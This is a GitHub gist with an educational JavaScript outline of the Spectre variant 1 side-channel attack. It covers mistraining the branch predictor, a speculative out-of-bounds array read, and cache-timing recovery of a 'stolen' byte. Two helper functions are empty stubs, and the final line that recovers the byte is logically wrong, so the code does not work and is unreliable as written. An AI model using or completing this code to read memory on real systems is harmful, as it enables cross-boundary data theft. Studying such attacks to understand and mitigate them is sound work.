Created
January 10, 2018 00:08
-
-
Save robatwilliams/8fb10f4bf2c5b7735cc4e4dcc85d7e96 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Based on https://spectreattack.com/spectre.pdf, sections 3 mainly, 4, 4.3 | |
// Also see: https://webkit.org/blog/8048/what-spectre-and-meltdown-mean-for-webkit/ | |
const array1 = [1, 2, 3]; | |
const array1_size = 3; | |
const array2_size = (64 * 1024) / 8; | |
const array2 = new Array(array2_size); // 8192 empty 8-byte entries = 64KB. 64KB is 256*256 | |
function run() { | |
setup(); | |
exploit(1234); // array1[this index] resolves to the byte in memory we want to read | |
recoverByteValue(); | |
} | |
function setup() { | |
trainBranchPredictor(); | |
prepareCache(); | |
} | |
function trainBranchPredictor() { | |
// Goal: mistrain the branch predictor so that it will later make an erroneous speculative prediction | |
// Means: call the branch many times with value that causes it to be taken | |
for (let i = 0; i < 10000; i++) { | |
exploit(0); | |
exploit(1); | |
exploit(2); | |
} | |
} | |
function prepareCache() { | |
// Goal1: help induce speculative execution | |
// Means: evict from the cache a value required to determine the destination of a branching instruction | |
// Simple: evict from the cache a value used in the conditional expression | |
// Goal2: make reads from our lookup array slow, so that fast reads can later be detected | |
// Means: evict the lookup array from the cache | |
// IdealMeans: flush the cache (not allowed from high level language) | |
// PracticalMeans: read a large amount of memory to fill the cache with unrelated values | |
readLargeAmountOfMemory(); | |
// Goal3: make future reads of target value measurably quicker than other values in our lookup array | |
// Means: do something legitimate that uses the value | |
somethingThatUsesTargetValue(); | |
} | |
function readLargeAmountOfMemory() { | |
// ~2k reads (depending on cache size) at 4096 byte (4KB) intervals out of a large array | |
} | |
function somethingThatUsesTargetValue() { } | |
function exploit(index) { | |
if (index < array1_size) { | |
// on exploit pass, next instruction is executed, causing the value in array2 to be loaded into cache | |
// 256 is the number of possible values a single byte can have | |
const y = array2[array1[index] * 256]; | |
} | |
} | |
function recoverByteValue() { | |
const accessTimes = []; | |
for (let n = 0; n < 256; n++) { | |
const tBefore = performance.now(); | |
const value = array2[n * 256]; // would need to do something with it to prevent optimising-out | |
accessTimes[n] = performance.now() - tBefore; | |
} | |
// now, accessTimes will have 255 large values (slow access from memory), | |
// and one small value (fast access from cache, for the one the exploit loaded) | |
// the value of our target byte is n for that fast access | |
const stolenValue = accessTimes[Math.min(...accessTimes)]; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment